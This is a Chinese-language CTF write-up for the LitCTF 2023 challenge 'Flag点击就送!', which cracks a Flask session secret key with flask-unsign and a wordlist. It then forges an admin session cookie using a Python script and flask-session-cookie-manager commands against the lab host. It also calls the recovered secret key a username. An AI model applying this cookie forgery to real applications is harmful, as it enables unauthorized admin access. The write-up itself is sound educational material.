NSSCTF入门题单[LitCTF 2023]WriteUP-NSSCTF-3872
North-Glory 2024-11-29
CTF
NSSCTF
WriteUP
[LitCTF 2023]这套题是Web方向入门题单,这是我的第21题
- 题单【传送门 (opens new window)】
- 主办方WriteUP【传送门 (opens new window)】
- 主办方WriteUP视频【传送门 (opens new window)】
题目编号 | 题目名称 | 题目方向 | 难度 |
---|---|---|---|
3872 | Flag点击就送! | Web | 1 |
# 题目21:Flag点击就送!
# 题目描述:大型Flag赠送活动开始啦,不过只有管理员才能拿到
# 考点:Flask session伪造
# 预期解:
我们进入靶机后,看到了提示“欢迎参加LitCTF,告诉我你的名字吧”,我们随便输入一个名字,弹出一个按钮“拿flag”,点击以后提示“只有管理员才能拿flag耶”。
此时我们返回初始页面,尝试输入admin或者root,发现都不可以,所以我们准备使用工具进行爆破,这里用到的工具是Python,安装了flask-unsign[wordlist]的库,推荐使用清华源进行安装。具体安装过程不多做介绍。
默认是我们有了一个字典文件,字典内容为
LitCTF2023
LitCTF
123456
1
2
3
2
3
我们使用如下命令来执行爆破命令
flask-unsign --unsign --cookie "eyJuYW1lIjoiMTIzIn0.Z0mhXQ.CjDOrMBNmg28PtyaZGGdtE1MSlA" -w 字典路径 --no-literal-eval
1
这里的cookie是打开F12后,在Application里面,找到Cookies,看到了一个session的cookie,复制它的值
在执行命令后,我们得到了如下结果,可以看到应该是LitCTF才是我们想要的用户名。
(comvision) C:\Users\19854>flask-unsign --unsign --cookie "eyJuYW1lIjoiMTIzIn0.Z0mhXQ.CjDOrMBNmg28PtyaZGGdtE1MSlA" -w C:\Users\19854\Desktop\pass.txt --no-literal-eval
[*] Session decodes to: {'name': '123'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 3 attempts
b'LitCTF'
1
2
3
4
5
2
3
4
5
确认LitCTF就是用户名以后,我们用一把梭工具进行伪造
import requests
import string
import subprocess
SECRET_KEY = "LitCTF"
cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{\'name\': \'admin\'}', '--secret', SECRET_KEY])
cookie = {'session' : cmd_out.decode().rstrip()}
response = requests.get('http://node4.anna.nssctf.cn:28088/flag', cookies=cookie)
print(response.text)
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
伪造的方式多种多样,比如使用flask-session-cookie-manager (opens new window)
具体使用方法如下
python3 flask-session-cookie-manager3.py decode -c "session值" (-s "key值")
python3 flask-session-cookie-manager3.py encode -s "key值" -t "我们需要伪造的值"
1
2
2
python3 flask-session-cookie-manager3.py encode -s 'LitCTF' -t '{"name":"admin"}'
# eyJuYW1lIjoiYWRtaW4ifQ.ZOBwTg.fCkX986VBbFDKMaipQ5QjHJAkQg
1
2
2
此时再访问/flag
,将当前页面cookie改为伪造的值,刷新页面即可看到flag